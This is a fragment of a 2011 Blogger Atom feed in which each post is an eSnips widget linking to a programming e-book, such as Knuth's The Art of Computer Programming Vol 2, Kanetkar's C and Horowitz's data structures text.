font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/5e7020a6-7885-4cef-8e3c-3e18c4727ca2/The-Art-of-Computer-Programming-Vol2/?widget=documentIcon"&gt;&lt;img border="0" alt="The Art of Computer Programming Vol2" title="click to ViewThe Art of Computer Programming Vol2" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/5e7020a6-7885-4cef-8e3c-3e18c4727ca2/The-Art-of-Computer-Programming-Vol2/?widget=documentIcon"&gt;The Art of Compute...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-7476181739788812597?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/7476181739788812597/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/art-of-computer-programming-vol2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/7476181739788812597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/7476181739788812597'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/art-of-computer-programming-vol2.html' title='The Art of Computer Programming Vol2'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-8022815625393543820</id><published>2011-03-24T14:42:00.001-07:00</published><updated>2011-03-24T14:42:36.012-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Linked List Problems</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/864569f7-546c-48ef-88f7-c68df13d0542/Linked-List-Problems/?widget=documentIcon"&gt;&lt;img border="0" alt="Linked List Problems" title="click to ViewLinked List Problems" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/864569f7-546c-48ef-88f7-c68df13d0542/Linked-List-Problems/?widget=documentIcon"&gt;Linked List Proble...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-8022815625393543820?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/8022815625393543820/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/linked-list-problems.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8022815625393543820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8022815625393543820'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/linked-list-problems.html' title='Linked List Problems'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-5486261538268655141</id><published>2011-03-24T14:41:00.003-07:00</published><updated>2011-03-24T14:41:45.641-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Problems On Algorithms - Parberry, Gasarch</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/5e38a399-0045-4740-a559-7eda2a06b4e3/Problems-On-Algorithms---Parberry,-Gasarch/?widget=documentIcon"&gt;&lt;img border="0" alt="Problems On Algorithms - Parberry, Gasarch" title="click to ViewProblems On Algorithms - Parberry, Gasarch" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/5e38a399-0045-4740-a559-7eda2a06b4e3/Problems-On-Algorithms---Parberry,-Gasarch/?widget=documentIcon"&gt;Problems On Algori...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-5486261538268655141?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/5486261538268655141/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/problems-on-algorithms-parberry-gasarch.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5486261538268655141'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5486261538268655141'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/problems-on-algorithms-parberry-gasarch.html' title='Problems On Algorithms - Parberry, Gasarch'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-7550056581503599833</id><published>2011-03-24T14:41:00.001-07:00</published><updated>2011-03-24T14:41:01.786-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Non Linear Programming - MIT Course</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/5a4c1139-6db4-46aa-bb59-eda88bead16f/Non-Linear-Programming---MIT-Course/?widget=documentIcon"&gt;&lt;img border="0" alt="Non Linear Programming - MIT Course" title="click to ViewNon Linear Programming - MIT Course" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/5a4c1139-6db4-46aa-bb59-eda88bead16f/Non-Linear-Programming---MIT-Course/?widget=documentIcon"&gt;Non Linear Program...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-7550056581503599833?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/7550056581503599833/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/non-linear-programming-mit-course.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/7550056581503599833'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/7550056581503599833'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/non-linear-programming-mit-course.html' title='Non Linear Programming - MIT Course'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-8384662818052504693</id><published>2011-03-24T14:38:00.001-07:00</published><updated>2011-03-24T14:38:24.173-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Yashwant Kanetkar's C</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/56229fba-1c67-41dd-928f-7832443e3543/Yashwant_Kanetkars_C/?widget=documentIcon"&gt;&lt;img border="0" alt="Yashwant_Kanetkar's_C" title="click to ViewYashwant_Kanetkar's_C" src="/images/thumbs/thumb.zip.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/56229fba-1c67-41dd-928f-7832443e3543/Yashwant_Kanetkars_C/?widget=documentIcon"&gt;Yashwant_Kanetkar'...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-8384662818052504693?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/8384662818052504693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/yashwant-kanetkars-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8384662818052504693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8384662818052504693'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/yashwant-kanetkars-c.html' title='Yashwant Kanetkar&apos;s C'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-4983975359902084679</id><published>2011-03-24T14:36:00.001-07:00</published><updated>2011-03-24T14:36:15.581-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Effective C and More Effective C++</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/9271eb0b-8c2d-4cd9-9680-ebfeecb5582c/Effective-C-and-More-Effective-C++/?widget=documentIcon"&gt;&lt;img border="0" alt="Effective C and More Effective C++" title="click to ViewEffective C and More Effective C++" src="/images/thumbs/any.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/9271eb0b-8c2d-4cd9-9680-ebfeecb5582c/Effective-C-and-More-Effective-C++/?widget=documentIcon"&gt;Effective C and Mo...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-4983975359902084679?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/4983975359902084679/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/effective-c-and-more-effective-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/4983975359902084679'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/4983975359902084679'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/effective-c-and-more-effective-c.html' title='Effective C and More Effective C++'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-1006529174285561038</id><published>2011-03-24T14:35:00.001-07:00</published><updated>2011-03-24T14:35:24.308-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Fundamentals of Data Structures - Ellis Horowitz</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/f769f59e-c061-4d7e-b02d-f95b484bc318/Fundamentals-of-Data-Structures---Ellis-Horowitz/?widget=documentIcon"&gt;&lt;img border="0" alt="Fundamentals of Data Structures - Ellis Horowitz" title="click to ViewFundamentals of Data Structures - Ellis Horowitz" src="/images/thumbs/any.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/f769f59e-c061-4d7e-b02d-f95b484bc318/Fundamentals-of-Data-Structures---Ellis-Horowitz/?widget=documentIcon"&gt;Fundamentals of Da...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-1006529174285561038?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/1006529174285561038/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/fundamentals-of-data-structures-ellis.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/1006529174285561038'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/1006529174285561038'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/fundamentals-of-data-structures-ellis.html' title='Fundamentals of Data Structures - Ellis Horowitz'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-8219894447297466110</id><published>2011-03-24T14:34:00.001-07:00</published><updated>2011-03-24T14:34:07.475-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Mastering Windows Shell Scripting</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/fce54c45-9a15-4303-a933-feb99a697698/Mastering-Windows-Shell-Scripting/?widget=documentIcon"&gt;&lt;img border="0" alt="Mastering Windows Shell Scripting" title="click to ViewMastering Windows Shell Scripting" src="/images/thumbs/any.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/fce54c45-9a15-4303-a933-feb99a697698/Mastering-Windows-Shell-Scripting/?widget=documentIcon"&gt;Mastering Windows ...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-8219894447297466110?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/8219894447297466110/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/mastering-windows-shell-scripting.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8219894447297466110'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8219894447297466110'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/mastering-windows-shell-scripting.html' title='Mastering Windows Shell Scripting'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-6974906257409221689</id><published>2011-03-24T14:33:00.001-07:00</published><updated>2011-03-24T14:33:22.191-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Programming Interviews Exposed 2nd Edition</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/0edc51e3-1b0e-4c51-b5c4-5b42a2ed45b2/Programming-Interviews-Exposed-2nd-Edition/?widget=documentIcon"&gt;&lt;img border="0" alt="Programming Interviews Exposed 2nd Edition" title="click to ViewProgramming Interviews Exposed 2nd Edition" src="/images/thumbs/any.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/0edc51e3-1b0e-4c51-b5c4-5b42a2ed45b2/Programming-Interviews-Exposed-2nd-Edition/?widget=documentIcon"&gt;Programming Interv...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-6974906257409221689?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/6974906257409221689/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-interviews-exposed-2nd.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6974906257409221689'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6974906257409221689'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-interviews-exposed-2nd.html' title='Programming Interviews Exposed 2nd Edition'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-2460019878412970644</id><published>2011-03-24T14:32:00.001-07:00</published><updated>2011-03-24T14:32:35.727-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Thinking in C Second Edition Vol 2 Bruce Eckel</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/fdb28b79-8661-48ab-8fdb-826540b79676/Thinking-in-C--Second-Edn--Vol-2---Bruce-Eckel/?widget=documentIcon"&gt;&lt;img border="0" alt="Thinking in C  Second Edn  Vol 2 - Bruce Eckel" title="click to ViewThinking in C  Second Edn  Vol 2 - Bruce Eckel" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/fdb28b79-8661-48ab-8fdb-826540b79676/Thinking-in-C--Second-Edn--Vol-2---Bruce-Eckel/?widget=documentIcon"&gt;Thinking in C  Sec...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-2460019878412970644?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/2460019878412970644/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/thinking-in-c-second-edition-vol-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/2460019878412970644'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/2460019878412970644'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/thinking-in-c-second-edition-vol-2.html' title='Thinking in C Second Edition Vol 2 Bruce Eckel'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-6502537310995485973</id><published>2011-03-24T14:30:00.001-07:00</published><updated>2011-03-24T14:30:45.268-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>C Programming Problems and Solutions</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/47c3e7b7-0031-446d-a3df-ad3c77a3df73/C___Programming_Problems__and_Solutions_/?widget=documentIcon"&gt;&lt;img border="0" alt="C___Programming_Problems__and_Solutions_" title="click to ViewC___Programming_Problems__and_Solutions_" src="/images/thumbs/any.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/47c3e7b7-0031-446d-a3df-ad3c77a3df73/C___Programming_Problems__and_Solutions_/?widget=documentIcon"&gt;C___Programming_Pr...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-6502537310995485973?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/6502537310995485973/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-programming-problems-and-solutions.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6502537310995485973'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6502537310995485973'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-programming-problems-and-solutions.html' title='C Programming Problems and Solutions'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-8627045414809382469</id><published>2011-03-24T14:29:00.002-07:00</published><updated>2011-03-24T14:29:48.060-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>C &amp; C++ Win32 API Programming</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" 